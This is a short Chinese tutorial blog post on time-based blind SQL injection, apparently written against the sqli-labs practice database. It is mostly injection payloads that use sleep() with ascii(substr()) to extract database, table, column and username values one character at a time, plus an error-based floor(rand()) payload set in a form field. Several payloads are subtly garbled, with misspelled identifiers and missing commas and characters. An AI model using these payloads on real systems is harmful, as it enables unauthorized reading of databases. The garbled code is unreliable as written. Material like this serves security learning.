时间盲注

作者: 陈望_ning | 来源:发表于2018-12-20 15:05 被阅读0次

sleep注入

获取库名

and sleep(if(ascii(substr(database(),1,1))<116,0,5)) %23
and sleep(if(ascii(substr(database(),1,1))<115,0,5)) %23
如果116立即执行 115延迟5秒 证明ascii为115 对照得数据库首位为s 以此类推得出数据库名

获取表名

and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1)1,1))<102,0,5)) %23
and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1)1,1))<101,0,5)) %23
102立即执行 101延迟五秒 limit0,1可以更换 查询其他的表

获取字段名

and sleep(if(ascii(substr((select column_name from information_schema.colimns where table_name='users' and table_schemn='security' limit 0,1)1,1))<106,0,5)) %23
and sleep(if(ascii(substr((select column_name from information_schema.colimns where table_name='users' and table_schemn='security' limit 0,1)1,1))<105,0,5)) %23
根据延时可以得到第一个字段的第一个字母 更换limit后面参数 以此类推 得到第一个字段名 以及其他字段名

获取表里面的值

and sleep(if(ascii(substring((select username from security.users limit 0,1)1,1))<69,0,5)) %23
and sleep(if(ascii(substring((select username from security.users limit 0,1)1,1))<68,0,5)) %23
得到ascii值为68 以此类推 得到该用户名

if(payload,sleep(3),1)
payload正确时 程序暂停3秒 否则立刻执行
if(payload,1,sleep(3))
payload正确时 程序立刻执行 否则暂停3秒

1.PNG
MySQL原句

update user set password = 'admin' where password = (select 1 from (select count(),(concat("",database(),"",floor(rand()2))) name from information_schema.tables group by name)b);

表单中

and (select 1 from (select count(),(concat("",database(),"",floor(rand()2))) name from information_schema.tables group by name)b) #&submit=submit

相关文章

  • 时间盲注

    时间盲注原理: 代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息 语句执行后也不提示真假,我们不...

  • 时间盲注

    ctf练习平台的web15 看代码知道没有注入的回显,所以想到使用时间盲注。select case when......

  • 时间盲注

    sleep注入 获取库名 and sleep(if(ascii(substr(database(),1,1))<1...

  • Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    手工盲注: 手工盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,手工盲注步骤:1.判断是否存在注入,注入...

  • 盲注

    盲注:1.基于布尔的SQL盲注。 2.基于时间的SQL盲注。 3.基于报错的SQL盲注。 布尔SQL盲注:逻辑判断...

  • 布尔盲注&&时间盲注

    条件:返回正确或者错误页面 time-based

  • SQL基于时间的盲注过程

    0x00 前言 由于要使用到基于时间的盲注,但是我觉得基于时间的盲注其实就是基于布尔的盲注的升级版,所以我想顺便把...

  • SQL注入-时间盲注

    特别声明:该文章只运用于学习安全测试交流之用,请勿用于其他 时间盲注原理 当页面既不回显数据,也不回显错误信息时就...

  • 盲注-布尔和时间

    布尔盲注 盲注简介:盲注是注入的一种,它的意思是不知道数据库具体的返回值的情况下对数据库中的内容进行猜解,实施SQ...

  • CTF从入门到提升(五) 部分截取函数及bool型盲注相关例题分

    bool型盲注有区别与之前的基于时间的盲注,bool型盲注的页面输入会影响输出。 ​​我们来看操作理解一下: 语句...

网友评论

    本文标题:时间盲注

    本文链接:https://www.haomeiwen.com/subject/cjsjkqtx.html